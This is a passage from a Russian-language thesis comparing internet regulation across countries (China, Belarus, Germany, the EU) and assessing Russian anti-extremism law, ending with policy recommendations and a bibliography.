Интернет ресурсам. Таким образом, органы государственной власти Китая блокируют доступ ко многим ресурсам, к таким как, например, очень популярный в России сервис Ютуб. Важно отметить, что ведущие мировые поисковые системы, работающие в Китае, включая Google, Yahoo и Microsoft (поиск Live Search), согласились фильтровать результаты поиска в соответствии с требованиями

Китая, то есть финансовая составляющая, в конечном счете, явилась ключевым фактором присутствия данных систем на рынке. Кроме того, в Китае введена обязательная регистрация Интернет-ресурсов (сайтов), что, в свою очередь, делает возможным идентифицировать владельца враждебного контента. Однако все это компенсируется колоссальным развитием собственного сегмента сети (в настоящее время в Китае у редкого сельхозкооператива или коммуны нет своего сайта в сети

Интернет). В Китае существует огромное количество электронных библиотек, содержащих различную научную, техническую и другую информацию. Существуют различные сайты для общения (диспутов), хотя чисто развлекательных сайтов (игровых) почти нет, таким образом можно констатировать, что государственные органы Китая направляют Интернет в стране в чисто прикладное русло. Все эти ограничения приводят к тому, что, несмотря на то, что 95% пользователей подключены к сети

Интернет, в Китае остаются очень популярными Интернет-кафе и, особенно, подпольные, поскольку в официальных Интернет-кафе у пользователей спрашивают документы, а хозяева заведения обязаны хранить фотографии всех пользователей кафе. То есть, многие пользователи все же находят «лазейки», чтобы обойти действующие запреты. Хочется так же сказать, что государственное регулирование в Китае было введено в правовое русло еще за год до того, как первая компания

China Telecom начала предоставление услуг. Первым законодательным актом явилось решение Госсовета Китая, который издал "Правила регулирования, обеспечивающие безопасность компьютерных и информационных систем" (24 февраля 1994 года, изданы согласно приказу №147, подписан премьером Ли Пэн 18 февраля 1994 года), которые дали Государственной Безопасности Китая права и полномочия на управление

Сетью. То есть, Китай стал первой и единственной страной в мире, которая сначала определила для себя правовой статус Интернет, а затем открыла доступ к сети. И вот уже на протяжении семнадцати лет проводит планомерную политику в данном вопросе. Ко второй категории (прочный контроль) отнесены следующие страны: Сирия, Йемен, Эфиопия. Для нас не совсем понятно, почему эти страны были отнесены в данную категорию.

Эфиопия является одной из мало компьютеризированных стран (4 компьютера на 100 человек населения, 220000 пользователей Интернет, население 75 млн. человек), вместе с тем правительство Эфиопии приняло программу интернетизации бедного населения страны, однако особого развития интернет не получил. Единственно возможным выходом в Интернет в большинстве случаев является коммутируемый доступ. Йемен так же является мало компьютеризированной страной, по этой причине в крупных населенных пунктах

очень популярными являются Интернет-кафе. Единственный представитель этой группы, о котором есть действительно подтвержденные факты, что государством контролируется сеть Интернет, является Сирия. В отличие от двух предыдущих стран, Интернет в Сирии довольно динамично развивается, на сегодняшний момент в Сирии насчитывается свыше 1 млн пользователей. И хотя, по-прежнему, доминирует коммутируемый доступ,

но внедряются и современные технологии, такие как ADSL и 3G. События июня 2011 года показали, что в случае возникновения волнений, Интернет в стране просто отключают. И наконец, группа стран с выборочным контролем: Россия, Белоруссия, Казахстан, Киргизия, Таджикистан, Пакистан, Индия, Таиланд, Индонезия, Турция, Амман,

Саудовская Аравия, Оман, Судан, Ливия, Мавритания. Пожалуй, в эту группу можно отнести и все страны Евросоюза, Северной и Южной Америки, Австралию. Поэтому, будем считать, что составители карты несколько слукавили, отнеся эти страны к четвертой или пятой категории. Поскольку каждая из этих стран вводит какие-либо ограничения.

Индия, например, твердо заявила, что на территории страны вновь вводимый домен «.ххх» (для сайтов, функционирующих в рамках «взрослой индустрии») функционировать не будет, тем самым признав за собой право технически ограничить доступ к ресурсам сети. Помимо этого, в 2011 году в Индии был принят закон об Интернет, согласно которому все интернет-компании будут обязаны вычищать определенный контент со своих

сайтов в течение 36 часов после получения предписания от властей. Мировой общественностью практически остался не замеченным так называемый PROTECT IP Act (Закон "О предотвращении реальных онлайн-угроз экономическому созиданию и краж интеллектуальной собственности"), который был внесен на рассмотрение конгресса США в мае 2011 года и был отправлен на доработку в юридический комитет

Сената. По вводимым ограничениям на интернет-контенты этот проект намного превышает индийский закон. Причем 170 крупнейших предприятий США, таких как Nike, Ford, Estee Lauder и другие, не просто поддержали этот проект, но и направили официальные письма в Конгресс, с поддержкой этого законопроекта. Особый интерес для изучения нормативно-правового регулирования сети Интернет представляет законодательство союзного государства - республики

Беларусь. Многие помнят, сколько гневных откликов во всем мире вызвал известный Указ Президента Республики Беларусь Александра Лукошенко №60 от 1 февраля 2010 года, хотя указ относился лишь к республиканскому сегменту Интернет. Давайте рассмотрим основные, так сказать спорные пункты этого указа: Пункт 2. С 1 июля 2010&#8201;г. деятельность по реализации товаров, выполнению работ, оказанию услуг на территории Республики Беларусь с использованием информационных сетей, систем и ресурсов, имеющих

подключение к сети Интернет, осуществляется юридическими лицами, их филиалами и представительствами, созданными в соответствии с законодательством Республики Беларусь, с местонахождением в Республике Беларусь, а также индивидуальными предпринимателями, зарегистрированными в Республике Беларусь (далее – юридические лица и индивидуальные предприниматели), с использованием информационных сетей, систем и ресурсов национального сегмента сети

Интернет, размещенных на территории Республики Беларусь и зарегистрированных в установленном порядке. Из данного пункта видно, что территориально все коммерческие интернет-ресурсы должны находиться на серверах, размещенных внутри страны. Действительно спорный пункт, с одной стороны, для пользователей Интернет существенно снижается риск поражения со стороны интернет-мошенников, с другой стороны, коммерческие структуры полностью попадают в зависимость от местных

Интернет-провайдеров, что и произошло после 1 июля 2010 года. Пункт 6. Поставщики интернет-услуг обязаны осуществлять идентификацию абонентских устройств при оказании интернет-услуг, учет и хранение сведений об абонентских устройствах, а также сведений об оказанных интернет-услугах. Собственники пунктов коллективного пользования интернет-услугами либо уполномоченные ими лица осуществляют идентификацию пользователей интернет-услуг в пунктах коллективного пользования интернет-

услугами, учет и хранение персональных данных пользователей интернет-услуг, а также сведений об интернет-услугах, оказанных пунктами коллективного пользования интернет-услугами. Хранение сведений, указанных в частях первой и второй настоящего пункта, осуществляется в течение одного года со дня оказания интернет-услуг. Данный пункт вызвал наибольшее количество дебатов, однако, Европейские интернет-провайдеры делают то же самое уже с апреля 2009 года, то есть хранят данные о

сетевой активности своих клиентов: электронная переписка (только адреса сообщений, без содержания информации), адреса посещенных сайтов и тарификацию IP звонков. Однако информации о том насколько четко и в каких странах это выполняется – нет. Пункт 8. Поставщики интернет-услуг по запросу пользователей интернет-услуг оказывают услуги по ограничению доступа этих пользователей к информации, содержание которой направлено на: • осуществление экстремистской

деятельности; • незаконный оборот оружия, боеприпасов, взрывных устройств, взрывчатых, радиоактивных, отравляющих, сильнодействующих, ядовитых, токсических веществ, наркотических средств, психотропных веществ и их прекурсоров; • содействие незаконной миграции и торговле людьми; • распространение порнографических материалов; • пропаганду насилия, жестокости и других деяний, запрещенных законодательством. Оказание услуг по ограничению доступа к иной информации может осуществляться в соответствии с договором,

заключенным между поставщиком интернет-услуг и пользователем интернет-услуг. На наш взгляд, пункт является верным. Многие пользователи ставили на компьютер различные программы – ограничители доступа, чтобы обезопасить своих детей от подобных контентов. В данном случае законодатель обязывает эту услугу реализовать на уровне провайдера, что в принципе даст более ощутимый результат. Пункт 11. При выявлении органами, осуществляющими оперативно-розыскную

деятельность, органами прокуратуры и предварительного расследования, органами Комитета государственного контроля, налоговыми органами в пределах их компетенции нарушений требований настоящего Указа, иных актов законодательства в сфере использования национального сегмента сети Интернет данные органы выносят в установленном порядке юридическим лицам и индивидуальным предпринимателям, допустившим такие нарушения, предписания об устранении выявленных нарушений с указанием срока, в течение

которого они должны быть устранены. При выявлении грубых нарушений законодательства в соответствии с пунктом 10 настоящего Указа, повторных нарушений иных требований настоящего Указа, других актов законодательства в сфере использования национального сегмента сети Интернет в течение шести месяцев после вынесения предписания об устранении выявленных нарушений оказание интернет-услуг юридическому лицу или индивидуальному предпринимателю, допустившему такие нарушения,

может быть приостановлено поставщиком интернет-услуг, оказывающим ему такие услуги, по требованию органов, указанных в части первой настоящего пункта. Требование о приостановлении оказания интернет-услуг выносится на срок, необходимый для устранения выявленных нарушений, но не более чем на один месяц. Возобновление оказания интернет-услуг юридическому лицу или индивидуальному предпринимателю осуществляется поставщиком интернет-услуг на основании письменного сообщения органа, вынесшего требование о приостановлении

оказания интернет-услуг, не позднее суток с момента получения такого сообщения. Предписание об устранении выявленных нарушений либо требование о приостановлении оказания интернет-услуг может быть обжаловано в судебном порядке в соответствии с законодательством. Абсолютно адекватный пункт. Пункт 13. Определить, что специально уполномоченным государственным органом в сфере безопасности использования национального сегмента сети

Интернет является Оперативно-аналитический центр при Президенте Республики Беларусь. На наш взгляд, содержание данного пункта может быть использовано при разработке соответствующего законодательства в России в качестве первоочередных мер, поскольку в настоящее время нет органа. Отвечающего за безопасность русскоязычного сегмента сети Интернет. Пункт 14. Совету Министров Республики Беларусь:

14.1. до 1 мая 2010 г.: • проработать вопрос о введении обязательной сертификации интернет-услуг, закреплении интернет-услуг в перечне услуг, составляющих лицензируемую деятельность в области связи, определении лицензионных требований и условий к этим услугам; Абсолютно верный пункт, позволит существенно снизить уровень интернет мошенничества, причем этого пункта было бы достаточно. Итак, проанализировав известный в интернет-сообществе указ, видно, что за исключением п.

2, этот указ абсолютно адекватен, не противоречит европейским тенденциям, однако воспринимается абсолютно по-другому. Отличительной особенностью Евросоюза является то, что вводятся правила, регламентирующие отдельные аспекты сети интернет, в большинстве своем затрагивающие вопросы коммерции. В частности в 2011 году введены новые правила Он-лайн шопинга. Потребители получили возможность отказаться от приобретенных в онлайне товаров в течение 14 календарных

дней после их получения, при том, что деньги должны быть им возвращены также в течение двух недель. Продавцы обязаны четко информировать о стоимости возврата еще на этапе совершения покупки. Впрочем, цифровые изделия вроде музыки, фильмов или программ исключены из регулируемого списка: их покупка расценивается совершенной и необратимой с момента начала загрузки. Под запрет попали скрытые платежи, оформленные как «предварительное отмеченные» поля форм на розничных

веб-сайтах: торговцы обязаны предоставлять только реальную стоимость для оплаты банковскими картами. И, правда: недобросовестные и мошенничающие ритейлеры зачастую включают в покупку, например, билетов на отдых не заказываемые в данном случае туристическую страховку или прокат автомобиля. Доставка товаров регламентируется максимальным сроком в 30 дней, иначе покупатель имеет право отказаться от сделки. Продавцы ответственны за любой ущерб или утерю покупки в процессе ее доставки.

Что же касается непосредственно вопросов, связанных с безопасностью стран Евросоюза, или, точнее сказать, вопросов, связанных с реальными угрозами (распространение идей экстремизма и терроризма, криминальные деяния и т.д.), которые могут нести в себе Интернет-технологии, то конкретных решений на уровне стран Евросоюза нет. В большинстве случаев такая работа ведется на уровне спецслужб отдельного государства,

или на уровне отдельных судебных решений, так, например, Бельгийский суд первой инстанции в 2004 году постановил, что провайдер Scarlet Extended несет ответственность за блокирование нелегального файлообмена в своей сети. Фактов, информации о том, что Scarlet Extended обжаловал решения суда, нет. Отечественные интернет-провайдеры, не дожидаясь появления подобных законов, стараются себя обезопасить,

возлагая всю ответственность на пользователей, а именно, либо в момент заключения договоров дают подписывать разработанные ими правила пользования Интернет, либо включают в договор пункт о необходимости соблюдения этих правил (Приложение №5). Для примера следует назвать такую проблему как контроль (прослушивание спецслужбами) звонков, производимых по технологии VoIP (в России наибольшей популярностью пользуется Skype).

В законодательстве большинства стран вопрос прослушивания телефонных линий является абсолютно урегулированным и соответственно не вызывает никаких вопросов. IP-телефония же осталась за рамками законодательства, наша страна не исключение. Первыми об этой проблеме заявили итальянцы в 2007 г столкнувшись с тем, что итальянские наркосиндикаты полностью перешли на общение черезVoIP. Агентство Евросоюза по координации национальных систем правосудия (Eurojust) организовало в феврале 2009

года саммит, на котором рассматривался данный вопрос. Официального решения по данному вопросу опубликовано не было. Тем не менее, в ряде стран, в том числе в Германии на протяжении ряда лет появляются скандалы, в которых фигурирует прослушка Skype спецслужбами. Интересно отметить, что в мае 2011 года корпорация Microsoft достигла договоренности о покупке Skype Inc. за 8,5 миллиардов долларов, причем доходы

Skype за предыдущий год составили чуть больше 200 миллионов долларов.(?) Германия является наиболее интересной европейской страной с точки зрения конкретных шагов направленных на регулирование сети Интернет. В Германии чаще, чем в других странах звучит необходимость установления контроля за сетью Интернет. Глава МВД ФРГ Вольфганг Шойбле еще в 2006 году официально заявили, что считает

Интернет "учебником по подготовке террористов". При непосредственном участии главы криминальной полиции провайдеры стали изымать или блокировать доступ к таким инструкциям. Кроме того, немцы одними из первых в мире заблокировали доступ на веб-сайты с детской порнографией. Теперь при попытках выйти на такие сайты появляется изображение дорожного знака STOP. Списки таких сайтов периодически обновляют, а провайдеры блокируют на своих

DNS-серверах выходы на соответствующие сайты. Аналогично стали поступать и многие другие страны: Великобритания, США, Канада, Норвегия, Дания и другие. Германская полиция также первая в мире стала использовать «интернет – осведомителей». К такой практике приступила, в частности, уголовная полиция федеральной земли Нижняя Саксония. Через Интернет правоохранители распространили сообщение о готовности по электронной

почте принимать к рассмотрению анонимную информацию о фактах сомнительной с точки зрения закона деятельности промышленников, предпринимателей, а также отдельных сотрудников фирм. В процессе реализации пилотного проекта в течение четырех месяцев на сайт ведомства поступили 184 анонимных сообщения. На основании 124 из них были заведены уголовные дела, в частности — по фактам противозаконного получения субсидий и взяточничества. После политических баталий, продолжавшихся более двух лет,

19 декабря 2008 года германский бундестаг принял закон, существенно расширяющий полномочия Федерального ведомства по уголовным делам /БКА/ в борьбе против терроризма . В январе 2009 года закон вступил в силу. С этого момента немецкой криминальной полиции предоставлено право при помощи программ — "троянцев" тайно просматривать содержимое компьютеров лиц, подозреваемых в причастности к международному терроризму. Закон позволяет федеральным полицейским просматривать файлы,

размещенные на жестких дисках компьютеров потенциальных террористов. Онлайн-обыски представляют собой проникновение в подключенный к Интернету персональный компьютер подозреваемого посредством внедрения полицейских программ — "троянцев" в целях просмотра и копирования содержимого хард-дисков. Запущенная на компьютер подозреваемого через всемирную паутину программа "

Троянский конь" способна за несколько секунд скопировать все файлы, просмотреть электронную почту и выведать интернет-адреса, по которым обращался пользователь. Затем "Троянец" направляет все данные в полицию для дальнейшей обработки и самоуничтожается. Данные же, собранные полицией таким образом, принимаются для рассмотрения в суде. По сути, это был первый закон подобного рода, принятый в мире.

3.3 Анализ функциональной действенности существующих правовых актов, регламентирующих использование информационных ресурсов сети Интернет Вопрос регламентации использования информационных ресурсов сети Интернет впервые российскими законодателями был озвучен еще в мае 2000 года на парламентских слушаниях, на тему "О правовом регулировании использования сети Интернет в Российской Федерации", которые проводил

Комитет Государственной Думы по информационной политике. Основным в данных слушаниях выступил доклад «О регулировании и саморегулировании сети Интернет в европейских документах и опыте европейских стран» профессора Московского государственного университета Я. Засурского. И, как было отмечено в констатирующей части, «законодательство в этой области должно стать оболочкой,

которая защитит хрупкое тело российского Интернета, и не будет тормозить его развитие чрезмерным регулированием». Можно отметить, что с этого момента «хрупкий» российский Интернет начал развиваться стихийно. Итак, начнем рассмотрение функциональной деятельности существующего законодательства с закона об экстремизме. Статьей 13 Федерального закона от 25.07.2002 № 114-ФЗ «О противодействии экстремистской деятельности», пунктом 7

Положения о Министерстве юстиции Российской Федерации, утвержденного Указом Президента Российской Федерации от 13.10.2004 № 1313, на Минюст России возложены функции по ведению, опубликованию и размещению в сети Интернет федерального списка экстремистских материалов. Согласно закону, информационные материалы признаются экстремистскими федеральным судом по месту их

обнаружения, распространения или нахождения организации, осуществившей производство таких материалов, на основании представления прокурора или при производстве по соответствующему делу об административном правонарушении, гражданскому или уголовному делу. Федеральный список экстремистских материалов формируется на основании поступающих в Министерство юстиции России копий вступивших в законную силу решений судов о признании информационных материалов экстремистскими.

При этом наименования и индивидуализирующие признаки информационных материалов включаются в федеральный список экстремистских материалов в строгом соответствии с резолютивной частью решения суда. Обжалование решений судов о признании информационных материалов экстремистскими осуществляется в порядке, предусмотренном законодательством Российской Федерации. Законодательством Российской Федерации предусмотрена ответственность за производство, хранение или

распространение экстремистских материалов. Однако на сегодняшний момент данный список содержит всего 966 материалов, что, по нашей оценке, явно составляет менее 1% от общего числа подобных материалов. Это обусловлено, в первую очередь, порядком внесения материалов в данный список. Ведение такого списка по решению суда не было и не будет эффективным. Систему внесения и признания материалов экстремистскими нужно менять принципиально, помимо решения

суда, нужно принимать во внимание решения и рекомендации соответствующих общественных экспертных групп. В противном случае, эффективность принимаемых мер окажется ничтожной. Закон «О СМИ», действенный закон, но только в отношении сайтов, добровольно прошедших государственную регистрацию. Естественно, при добровольности никто не спешит проходить такую регистрацию. В связи со спецификой Интернет-пространства, возможностью читателей публично высказывать свое мнение

о размещаемых материалах, в 2010 г. Роскомнадзор утвердил порядок направления в адрес Интернет-СМИ обращений о недопустимости злоупотреблений свободой СМИ в комментариях читателей , что соответственно не относится к сайтам, позиционирующим себя в качестве независимых информационных агентств, но не прошедших регистрацию. Таким образом, можно констатировать, что закон О СМИ возможно применять в очень редких случаях, и к

ограниченному числу участников Интернет пространства. Федеральный закон Российской Федерации от 27 июля 2006 г. №149-ФЗ «Об информации, информационных технологиях и о защите информации» в пункте 3 статьи 17дал практически абсолютный иммунитет фирмам, представляющим интернет-хостинг: Статья 17. Ответственность за правонарушения в сфере информации, информационных технологий и защиты информации 3. В случае, если распространение определенной информации ограничивается или запрещается

федеральными законами, гражданско-правовую ответственность за распространение такой информации не несет лицо, оказывающее услуги: 1)либо по передаче информации, предоставленной другим лицом, при условии ее передачи без изменений и исправлений; 2) либо по хранению информации и обеспечению доступа к ней при условии, что это лицо не могло знать о незаконности распространения информации. Таким образом, хостинговые компании могут вообще не контролировать контенты, размещенные на их серверных

площадках. Однако в международном праве, в том числе в европейских государствах, существуют прецеденты, когда на хостинговые компании возлагается ответственность, либо их обязывают вводить современные технические средства контроля контента сайтов, размещенных на их площадках. При исследовании особенностей применения статей Уголовного Кодекса РФ следует акцентировать внимание на 282 статью

УК РФ. Статья 282. Возбуждение ненависти либо вражды, а равно унижение человеческого достоинства 1. Действия, направленные на возбуждение ненависти либо вражды, а также на унижение достоинства человека либо группы лиц по признакам пола, расы, национальности, языка, происхождения, отношения к религии, а равно принадлежности к какой-либо социальной группе, совершенные публично или с использованием средств массовой информации наказываются штрафом в размере от ста тысяч до трехсот тысяч рублей или в размере

заработной платы или иного дохода осужденного за период от одного года до двух лет, либо лишением права занимать определенные должности или заниматься определенной деятельностью на срок до трех лет, либо обязательными работами на срок до ста восьмидесяти часов, либо исправительными работами на срок до одного года, либо лишением свободы на срок до двух лет. 2. Те же деяния, совершенные: а) с применением насилия или с угрозой его применения; б) лицом с использованием

своего служебного положения; в) организованной группой, - наказываются штрафом в размере от ста тысяч до пятисот тысяч рублей или в размере заработной платы или иного дохода осужденного за период от одного года до трех лет, либо лишением права занимать определенные должности или заниматься определенной деятельностью на срок до пяти лет, либо обязательными работами на срок от ста двадцати до двухсот сорока часов, либо исправительными работами на срок от одного года до двух лет, либо лишением свободы на срок до пяти лет.

Итак, первая и ключевая проблема подавляющего большинства уголовных дел, связанных с Интернет, это проблема определения субъекта преступления. «Субъект преступления — лицо, осуществляющее воздействие на объект уголовно-правовой охраны и способное нести за это ответственность. Признаки субъекта преступления образуют один из элементов состава преступления. Наличие у лица, совершившего преступление, определённых субъективных признаков может рассматриваться

также как условие уголовной ответственности». Ссылка? На первоначальной стадии субъект преступления в большинстве случаев является виртуальным лицом, то есть он не идентифицирован как конкретное физическое лицо, гражданин. Конечно, бывают исключения: личная страничка пользователя, создание ника под реальной фамилией и т.д. Но такие случаи крайне редки, в большинстве случаев люди, задумавшие совершить то или иное противоправное

деяние в сети Интернет, заводят ник, которые, как правило, ни о чем не говорит. И в этом случае первоначальная идентификация возможна только техническими методами. Например, на хххх.ru на форуме под ником «G2000» опубликован призыв к молодежи сжечь синагогу в г. Т. Стоит вопрос, как можно вычислить данного человека выступающего под ником «G2000»? Процедура того, как искать данного пользователя, будет выглядеть следующим образом.

Необходимо сделать запрос к организатору сайта, следующего содержания: а) если на сайте предусмотрена регистрация, то анкетные данные. б) IP, с которых отправлялись сообщения под данным ником, и в частности данное сообщение Причем, следует отметить, что ничто не обязывает владельцев сайта хранить IP посетителей. Если все же, от владельцев сайта будет получена необходимая информация, то, возможно, на основе определенной информации можно идентифицировать лицо из анкеты пользователя (e-mail,

ICQ и тд.). Хотя это и маловероятно. В случае, если известен IP адрес, то вполне вероятно можно идентифицировать интернет провайдера данного пользователя, однако это тоже не факт, ведь пользователь мог воспользоваться анонимными прокси серверами. Но рассмотрим оптимистичный прогноз, что стал известен IP, принадлежащий реальному провайдеру, действующему на территории

России. В данном случае могут возникнуть следующие ситуации: первое – IP адрес жестко закреплен за конкретным пользователем, второе – IP адреса данного оператора раздаются пользователям динамически, то есть в различные посещения интернет пользователи имеют различные IP адреса, либо третий вариант – все пользователи имеют один и тот же IP адрес. В первом случае можно идентифицировать конкретного человека, с фамилией, с адресом, с паспортными

данными, но не обязательно того, кто присутствовал за компьютером. В двух других случаях, из лог-файлов серверов можно идентифицировать шифр установки интересуемого пользователя, если они еще сохранены к посещению правоохранительными органами. Вроде бы все, но на самом деле мы идентифицировали не конкретное лицо, а конечную аппаратуру, с которой было произведено соответствующее деяние. Например, в 2010 года в

Липецкой области возбуждено и доведено до суда 3 уголовных дела по ст. ст. 280 и 282 УК, в том числе одно уголовное дело, в котором фигурировали высказывания на форуме в городе Елец. Все три – конкретные сроки лишения свободы (1;1 и 1,5 года). Во всех случаях был факт признания себя виновным в совершении инкриминируемого деяния. Если же такого признания нет, то возникает масса вопросов, на которые дать ответ крайне проблематично.

Что касается Кодекса об административных правонарушениях и, в частности, статьи 20.29: Статья 20.29 КоАП РФ - Производство и распространение экстремистских материалов Массовое распространение экстремистских материалов, включенных в опубликованный федеральный список экстремистских материалов, а равно их производство либо хранение в целях массового распространения - влечет наложение административного штрафа на граждан в размере от одной тысячи до трех тысяч рублей либо административный

арест на срок до пятнадцати суток с конфискацией указанных материалов и оборудования, использованного для их производства; на должностных лиц - от двух тысяч до пяти тысяч рублей с конфискацией указанных материалов и оборудования, использованного для их производства; на юридических лиц - от пятидесяти тысяч до ста тысяч рублей или административное приостановление деятельности на срок до девяноста суток с конфискацией указанных материалов и оборудования, использованного для их производства.

В данном случае придется проделать те же мероприятия, и, в случае признания вины, можно данного пользователя Интернет отправить на пятнадцать суток… На сегодняшний момент в большинстве стран мира вопрос правового регулирования сети Интернет до конца не решен (за исключением Китая, где все абсолютно четко). В большинстве стран законодательство касается лишь отдельных аспектов сети Интернет, преимущественно затрагивающих экономические вопросы.

Таким образом, на наш взгляд, путь выбранный Европой по данному вопросу является абсолютно верным, нужно вводить в правовое русло определенные аспекты работы в интернет: интернет-шопинг, рекламу, новостную деятельность и т.д. Что касается непосредственно вопросов противодействия экстремизму и терроризму, то необходимо, в первую очередь, законодательно решить следующие аспекты: 1. Решить вопрос с интернет-провайдерами и хостинговыми компаниями: &#61485; определить порядок

хранения информации об активности пользователей; &#61485; идентификация конечных устройств; &#61485; контроль за контентом на хост-серверах; &#61485; контроль за оконечными устройствами, в целях оперативно - розыскной деятельности; &#61485; Ввести градации доступа к сети Интернет (для детей, без насилия, в рамках домена ru и т.д.). 2. Признать за силовыми структурами право проведения

DDos–атак. 3. Принять закон, регламентирующий деятельность поисковых систем сети Интернет на территории РФ. 4. Ввести единые правила пользования Интернет и ответственность за их нарушение. Также целесообразным для решения данного вопроса является создание постоянно действующего органа, на который были бы возложены следующие функции: &#61485; лицензирование деятельности, связанной с предоставлением интернет услуг; &#61485; контроль за деятельностью

интернет-провайдеров и хостинговых компаний; &#61485; мониторинг активности сети Интернет и качества предоставляемых услуг; &#61485; анализ мирового опыта регулирования сети Интернет и разработка нормативно-правовых актов, обязательных к исполнению на территории РФ; &#61485; выявление вредоносного контента, в том числе за пределами Российской Федерации, введение ограничений к данному контенту.

Но при всем этом над рядовым пользователем сети Интернет, ни в коем случае не должно висеть «Всевидящее око власти», права и свободы законопослушного гражданина должны быть соблюдены в полном объеме. ЗАКЛЮЧЕНИЕ В результаты проведенного нами исследования функционально возможных инструментальных средства противодействия распространению идей экстремизма и терроризма в сети Интернет были конкретизированы методы, которые мы представим графически в виде схемы:

Рисунок 16. Функционально возможные инструментальные средства противодействия распространению идей экстремизма и терроризма в сети Интернет Что касается информационных аспектов, то тут намного проще – применение этих методов не требует принятия каких либо законов и может проводиться как на общегосударственном уровне, так и на уровне отдельных общественных объединений, групп и тд. Намного более сложная ситуация с применением технических методов противодействия.

Если с вопросом ограничения доступа с определенным контентам более или менее ясно, то применение других методов остается под вопросом до тех пор, пока законодатель не урегулирует данные вопросы. Мы намеренно не рассматривали в данной работе различные законопроекты «об Интернет». Есть знаменитая и всем известная фраза: «Нельзя объять необъятное». На наш взгляд путь выбранный Европой по данному вопросу является абсолютно верным, нужно вводить в

правовое русло определенные аспекты работы в интернет: интернет-шопинг, рекламу, новостную деятельность и тд. Что же касается непосредственно вопросов противодействия экстремизму и терроризму, то необходимо в первую очередь законодательно решить следующие аспекты: &#61656; Решить вопрос с интернет провайдерами и хостинговыми компаниями: &#61558; определить порядок хранения информации об активности пользователей; &#61558; идентификация конечных устройств; &#61558;

контроль за контентом на хост-серверах; &#61558; контроль за оконечными устройствами, в целях оперативно - розыскной деятельности. &#61558; Ввести градации доступа к сети Интернет ( для детей, без насилия, в рамках домена ru и тд.) &#61656; Признать за силовыми структурами право проведения DDos – атак. &#61656; Принять закон регламентирующий деятельность поисковых систем сети

Интернет на территории РФ. &#61656; Ввести единые правила пользования Интернет и ответственность за их нарушение. Так же целесообразным для решения данного вопроса является создание постоянно действующего органа, на который были бы возложены следующие функции: &#61558; лицензирование деятельности связанной с предоставлением интернет услуг; &#61558; контроль за деятельностью интернет провайдеров и хостинговых компаний; &#61558; мониторинг активности сети

Интернет и качества предоставляемых услуг; &#61558; анализ мирового опыта регулирования сети Интернет и разработка нормативно правовых актов обязательных к исполнению на территории РФ; &#61558; выявление вредоносного контента, в том числе за пределами Российской Федерации, введение ограничений к данному контенту. Но при всем этом над рядовым пользователем сети Интернет, ни в коем случае не должно висеть «Всевидящее

око власти», права и свободы законопослушного гражданина должны быть соблюдены в полном объеме. СПИСОК ИСПОЛЬЗОВАННЫХ ИСТОЧНИКОВ 1. Конституция Российской Федерации. 2. Уголовный Кодекс РФ. 3. Кодекс об административных правонарушениях. 4. Административно-процессуальный кодекс РФ. 5. Федеральный закон № 114-ФЗ от 25 июля 2002 г. "О противодействии экстремистской деятельности». 6.

Федеральный закон № 126-ФЗ от 07.07.2003 г. «О связи». 7. Федеральный закон № 2124-1-ФЗ от 27.12.1991 «О средствах массовой информации». 8. Федеральный закон № 149-ФЗ от 27 июля 2006 г. «Об информации, информационных технологиях и о защите информации». 9. Федеральный закон № 152-ФЗ от 27.07.2006 «О персональных данных». 10. Федеральный закон № 40-ФЗ от 03.04.1995 «О Федеральной службе безопасности».

11. Указ Президента РФ № 351 от 17.03.2008 «О мерах по обеспечению информационной безопасности Российской Федерации при использовании информационно-телекоммуникационных сетей международного информационного обмена». 12. Указ Президента РФ № 966 от 28.06.1993 «О Концепции правовой информатизации России». 13. Распоряжение Правительства РФ № 1024-р от 17.07.2006 N 1024 «О Концепции региональной информатизации до 2010 года».

14. Концепция противодействия терроризму в Российской Федерации (утв. Президентом РФ 05.10.2009). 15. Письмо МПТР РФ от 18 ноября 2002 г. N 18/14-16380/18-11218. 16. Приказ Роскомнадзора от 06.07.2010 № 420 «Об утверждении порядка направления обращений о недопустимости злоупотреблений свободой массовой информации к средствам массовой информации, распространение которых

осуществляется в информационно-телекоммуникационных сетях, в том числе в сети Интернет». 17. Абаев Л.Ч Методы моделирования социально-политических процессов. http://www.kisi.kz/Parts/IntPol/06-26-02 Abaev.html 18. Акимкин Е.М Котов Н.М. Экспертные системы оценки конфликтных ситуаций: проблемы создания. // Конфликтология в трансформирующемся Российском обществе: теория и практика. Тезисы и материалы всероссийской конференции. Отв. ред.

Т.М. Дридзе, Л.Н. Цой. М.: Издательство Института социологии РАН, 1998. 19. Аналитическое обеспечение и опыт борьбы с терроризмом. Аналитический вестник Совета Федерации ЗС РФ. №7 (259). 2005. 20. Арсентьев М.В. К вопросу о понятии «информационная безопасность» // Информационное общество. 1997. №4-6. 21. Арухов З.С.

Чеченский конфликт и киберпространство // Современное положение Чечни: социально-политический аспект / Под ред. В.В. Черноуса / Южнороссийское обозрение. Вып. 4. Ростов н/Д, 2001. 22. Балдин К.В Уткин В.Б. Информационные системы в экономике. – М.: Издательский дом Дашков и К, 2006. 23. Барабанов

О.Н. Управление информационными потоками и обеспечение международной безопасности России М.: Российский институт стратегических исследований, 2001. 24. Бегишев И.Р. Правовые аспекты безопасности информационного общества // Информационное общество. №4. 2011. 25. Беззапонный А.С Шарапова Е.В. Электронные СМИ в условиях информационных войн //

Современное положение Чечни: социально-политический аспект / Под ред. В.В. Черноуса / Южнороссийское обозрение. Вып. 4. Ростов н/Д, 2001. 26. Боков Д. Ю. Социально-правовые основания информационного общества. – М.: ДЕ-ПО, 2011. 27. Бондаренко С.В. Региональный аспект информационной безопасности // Национальная и региональная безопасность на Юге России: новые вызовы /

Под ред. В.В. Черноуса // Южнороссийское обозрение. Вып. 14. Ростов н/Д, 2003. 28. Букреев И.Н. Движение России в информационное общество // Информационное общество. №3. 2009. 29. Волчинская Е.К. Некоторые приоритеты национальной безопасности в информационной сфере и проблемы их законодательного обеспечения // Информационное право,

2009, № 4 30. Гавриш Г.Б. Сетевые войны против России: история и современность // Сетевые стратегии Запада на Юге России / Южнороссийское обозрение. Вып. 34. Ростов н/Д 2006. 31. Газизов Р.Р. Проблемы противодействия преступности в современных условиях / Материалы международной научно-практической конференции 16-17.10.2003г. Часть I Уфа: РИО БашГУ, 2003. 32. Герасименко В.А

А.А. Малюк Основы защиты информации. М: МИФИ, 1997. 33. Гершензон В.Е. Глобальные технологии и информационная безопасность // Информационное общество. №4. 2011. 34. Годин В.В Корнеев И.К. Управление информационными ресурсами: 17-и модельная программа для менеджеров «Управление развитием организации». Модуль 17. – М.: ИНФРА-М, 2000. 35. Готтхард

